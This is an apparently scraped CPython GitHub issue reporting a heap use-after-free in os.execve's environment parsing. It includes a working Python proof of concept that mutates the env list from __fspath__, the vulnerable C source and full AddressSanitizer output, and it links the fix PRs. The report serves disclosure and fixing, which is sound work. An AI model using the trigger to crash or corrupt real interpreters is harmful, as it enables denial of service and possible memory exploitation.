Uh oh!
There was an error while loading.Please reload this page.
- Notifications
You must be signed in to change notification settings - Fork34k
Closed
Description
What happened?
Inparse_envlist the borrowed entries fromPyMapping_Keys andPyMapping_Values are processed byPyUnicode_FSConverter, which triggers user__fspath__ onPathEntry objects. The craftedAliasEnv drops each entry during conversion so the loop keeps a dangling pointer, and the subsequentPyOS_FSPath access reuses freed memory leading to a use-after-free.
Proof of Concept:
importosvictim_list= []classExploitPath:def__fspath__(self):victim_list.clear()returnb"pwn"classEvilEnv:def__len__(self):return1defkeys(self):returnvictim_listdefvalues(self):returnvictim_listdef__getitem__(self,key):return1victim_list.append(ExploitPath())try:os.execve("/bin/sh", ["sh"],EvilEnv())exceptOSError:pass
Affected Versions
Details
| Python Version | Status | Exit Code |
|---|---|---|
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) | ASAN | 1 |
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] | ASAN | 1 |
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0] | ASAN | 1 |
Vulnerable Code
Details
/* Buggy Re-entrant Path */staticPyObject*os_execve_impl(PyObject*module,path_t*path,PyObject*argv,PyObject*env)/*[clinic end generated code: output=ff9fa8e4da8bde58 input=626804fa092606d9]*/{/* ... */envlist=parse_envlist(env,&envc);if (envlist==NULL) gotofail_0;/* ... */returnNULL;}staticEXECV_CHAR**parse_envlist(PyObject*env,Py_ssize_t*envc_ptr){Py_ssize_ti,pos,envc;PyObject*keys=NULL,*vals=NULL;PyObject*key2,*val2,*keyval;EXECV_CHAR**envlist;i=PyMapping_Size(env);if (i<0)returnNULL;envlist=PyMem_NEW(EXECV_CHAR*,i+1);if (envlist==NULL) {PyErr_NoMemory();returnNULL; }envc=0;keys=PyMapping_Keys(env);if (!keys) gotoerror;vals=PyMapping_Values(env);if (!vals) gotoerror;if (!PyList_Check(keys)|| !PyList_Check(vals)) {PyErr_Format(PyExc_TypeError,"env.keys() or env.values() is not a list"); gotoerror; }for (pos=0;pos<i;pos++) {PyObject*key=PyList_GetItem(keys,pos);/* crashing pointer derived */if (key==NULL) { gotoerror; }PyObject*val=PyList_GetItem(vals,pos);if (val==NULL) { gotoerror; }#if defined(HAVE_WEXECV)|| defined(HAVE_WSPAWNV)if (!PyUnicode_FSDecoder(key,&key2)) gotoerror;if (!PyUnicode_FSDecoder(val,&val2)) {Py_DECREF(key2); gotoerror; }/* Search from index 1 because on Windows starting '=' is allowed for defining hidden environment variables. */if (PyUnicode_GET_LENGTH(key2)==0||PyUnicode_FindChar(key2,'=',1,PyUnicode_GET_LENGTH(key2),1)!=-1) {PyErr_SetString(PyExc_ValueError,"illegal environment variable name");Py_DECREF(key2);Py_DECREF(val2); gotoerror; }keyval=PyUnicode_FromFormat("%U=%U",key2,val2);#elseif (!PyUnicode_FSConverter(key,&key2))/* Reentrant call site */ gotoerror;if (!PyUnicode_FSConverter(val,&val2)) {Py_DECREF(key2); gotoerror; }if (PyBytes_GET_SIZE(key2)==0||strchr(PyBytes_AS_STRING(key2)+1,'=')!=NULL) {PyErr_SetString(PyExc_ValueError,"illegal environment variable name");Py_DECREF(key2);Py_DECREF(val2); gotoerror; }keyval=PyBytes_FromFormat("%s=%s",PyBytes_AS_STRING(key2),PyBytes_AS_STRING(val2));#endifPy_DECREF(key2);Py_DECREF(val2);if (!keyval) gotoerror;if (!fsconvert_strdup(keyval,&envlist[envc++])) {Py_DECREF(keyval); gotoerror; }Py_DECREF(keyval); }Py_DECREF(vals);Py_DECREF(keys);envlist[envc]=0;*envc_ptr=envc;returnenvlist;error:Py_XDECREF(keys);Py_XDECREF(vals);free_string_array(envlist,envc);returnNULL;}PyObject*PyOS_FSPath(PyObject*path){if (PyUnicode_Check(path)||PyBytes_Check(path)) {/* Crash site */returnPy_NewRef(path); }/* ... */returnpath_repr;}/* Clobbering Path */staticvoidlist_clear_impl(PyListObject*a,boolis_resize){PyObject**items=a->ob_item;/* Because XDECREF can recursively invoke operations on this list, we make it empty first. */Py_ssize_ti=Py_SIZE(a);Py_SET_SIZE(a,0);FT_ATOMIC_STORE_PTR_RELEASE(a->ob_item,NULL);/* state mutate site *//* ... */}
Sanitizer Output
Details
===================================================================1945479==ERROR: AddressSanitizer: heap-use-after-free on address 0x513000026178 at pc 0x56350df671ad bp 0x7fff44ef1d50 sp 0x7fff44ef1d40READ of size 8 at 0x513000026178 thread T0 #0 0x56350df671ac in _Py_TYPE Include/object.h:277 #1 0x56350df671ac in PyOS_FSPath Modules/posixmodule.c:16657 #2 0x56350dc9c7c0 in PyUnicode_FSConverter Objects/unicodeobject.c:4096 #3 0x56350df50e11 in parse_envlist Modules/posixmodule.c:6931 #4 0x56350df5146f in os_execve_impl Modules/posixmodule.c:7134 #5 0x56350df51b6f in os_execve Modules/clinic/posixmodule.c.h:3764 #6 0x56350dbbc123 in cfunction_vectorcall_FASTCALL_KEYWORDS Objects/methodobject.c:465 #7 0x56350db09e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169 #8 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327 #9 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620 #10 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121 #11 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001 #12 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884 #13 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365 #14 0x56350dec3723 in run_mod Python/pythonrun.c:1459 #15 0x56350dec457a in pyrun_file Python/pythonrun.c:1293 #16 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521 #17 0x56350dec74f6 in _PyRun_AnyFileObject Python/pythonrun.c:81 #18 0x56350df1874d in pymain_run_file_obj Modules/main.c:410 #19 0x56350df189b4 in pymain_run_file Modules/main.c:429 #20 0x56350df1a1b2 in pymain_run_python Modules/main.c:691 #21 0x56350df1a842 in Py_RunMain Modules/main.c:772 #22 0x56350df1aa2e in pymain_main Modules/main.c:802 #23 0x56350df1adb3 in Py_BytesMain Modules/main.c:826 #24 0x56350d99e645 in main Programs/python.c:15 #25 0x715784c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #26 0x715784c2a28a in __libc_start_main_impl ../csu/libc-start.c:360 #27 0x56350d99e574 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: 202d5dbb945f6d5f5a66ad50e2688d56affd6ecb)0x513000026178 is located 56 bytes inside of 352-byte region [0x513000026140,0x5130000262a0)freed by thread T0 here: #0 0x7157850fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52 #1 0x56350dbd096d in _PyMem_RawFree Objects/obmalloc.c:91 #2 0x56350dbd2cd9 in _PyMem_DebugRawFree Objects/obmalloc.c:2955 #3 0x56350dbd2d1a in _PyMem_DebugFree Objects/obmalloc.c:3100 #4 0x56350dbfb06c in PyObject_Free Objects/obmalloc.c:1522 #5 0x56350de39cf7 in PyObject_GC_Del Python/gc.c:2435 #6 0x56350dc151cb in object_dealloc Objects/typeobject.c:7177 #7 0x56350dc33663 in subtype_dealloc Objects/typeobject.c:2852 #8 0x56350dbc7481 in _Py_Dealloc Objects/object.c:3200 #9 0x56350db10b24 in Py_DECREF Include/refcount.h:401 #10 0x56350db10c7f in Py_XDECREF Include/refcount.h:511 #11 0x56350db11164 in method_dealloc Objects/classobject.c:251 #12 0x56350dbc7481 in _Py_Dealloc Objects/object.c:3200 #13 0x56350df32f6e in Py_DECREF Include/refcount.h:401 #14 0x56350df671fb in PyOS_FSPath Modules/posixmodule.c:16670 #15 0x56350dc9c7c0 in PyUnicode_FSConverter Objects/unicodeobject.c:4096 #16 0x56350df50dfd in parse_envlist Modules/posixmodule.c:6929 #17 0x56350df5146f in os_execve_impl Modules/posixmodule.c:7134 #18 0x56350df51b6f in os_execve Modules/clinic/posixmodule.c.h:3764 #19 0x56350dbbc123 in cfunction_vectorcall_FASTCALL_KEYWORDS Objects/methodobject.c:465 #20 0x56350db09e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169 #21 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327 #22 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620 #23 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121 #24 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001 #25 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884 #26 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365 #27 0x56350dec3723 in run_mod Python/pythonrun.c:1459 #28 0x56350dec457a in pyrun_file Python/pythonrun.c:1293 #29 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521previously allocated by thread T0 here: #0 0x7157850fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 #1 0x56350dbd1284 in _PyMem_RawMalloc Objects/obmalloc.c:63 #2 0x56350dbd0655 in _PyMem_DebugRawAlloc Objects/obmalloc.c:2887 #3 0x56350dbd06bd in _PyMem_DebugRawMalloc Objects/obmalloc.c:2920 #4 0x56350dbd1f3b in _PyMem_DebugMalloc Objects/obmalloc.c:3085 #5 0x56350dbfaf28 in PyObject_Malloc Objects/obmalloc.c:1493 #6 0x56350dc2d03b in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46 #7 0x56350dc2d03b in _PyType_AllocNoTrack Objects/typeobject.c:2504 #8 0x56350dc2d1c7 in PyType_GenericAlloc Objects/typeobject.c:2535 #9 0x56350dc2510e in object_new Objects/typeobject.c:7167 #10 0x56350dc30346 in type_call Objects/typeobject.c:2448 #11 0x56350db09c71 in _PyObject_MakeTpCall Objects/call.c:242 #12 0x56350db09f19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167 #13 0x56350db09f72 in PyObject_Vectorcall Objects/call.c:327 #14 0x56350dd88056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620 #15 0x56350ddcbe54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121 #16 0x56350ddcc148 in _PyEval_Vector Python/ceval.c:2001 #17 0x56350ddcc3f8 in PyEval_EvalCode Python/ceval.c:884 #18 0x56350dec3507 in run_eval_code_obj Python/pythonrun.c:1365 #19 0x56350dec3723 in run_mod Python/pythonrun.c:1459 #20 0x56350dec457a in pyrun_file Python/pythonrun.c:1293 #21 0x56350dec7220 in _PyRun_SimpleFileObject Python/pythonrun.c:521 #22 0x56350dec74f6 in _PyRun_AnyFileObject Python/pythonrun.c:81 #23 0x56350df1874d in pymain_run_file_obj Modules/main.c:410 #24 0x56350df189b4 in pymain_run_file Modules/main.c:429 #25 0x56350df1a1b2 in pymain_run_python Modules/main.c:691 #26 0x56350df1a842 in Py_RunMain Modules/main.c:772 #27 0x56350df1aa2e in pymain_main Modules/main.c:802 #28 0x56350df1adb3 in Py_BytesMain Modules/main.c:826 #29 0x56350d99e645 in main Programs/python.c:15 #30 0x715784c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPEShadow bytes around the buggy address: 0x513000025e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x513000025f00: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa 0x513000025f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x513000026000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x513000026080: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa=>0x513000026100: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd[fd] 0x513000026180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x513000026200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x513000026280: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa 0x513000026300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x513000026380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb==1945479==ABORTINGLinked PRs
- gh-143309: fix UAF in
os.execvewhen the environment is concurrently mutated #143314 - [3.14] gh-143309: fix UAF in
os.execvewhen the environment is concurrently mutated (GH-143314) #143398 - [3.13] gh-143309: fix UAF in
os.execvewhen the environment is concurrently mutated (GH-143314) #143399 - gh-143309: fix
test_execve_env_concurrent_mutation_with_fspath_posixbuildbot failure #143415 - [3.14] gh-143309: fix
test_execve_env_concurrent_mutation_with_fspath_posixbuildbot failure (GH-143415) #143419 - [3.13] gh-143309: fix UAF in
os.execvewhen the environment is concurrently mutated (GH-143314) #143431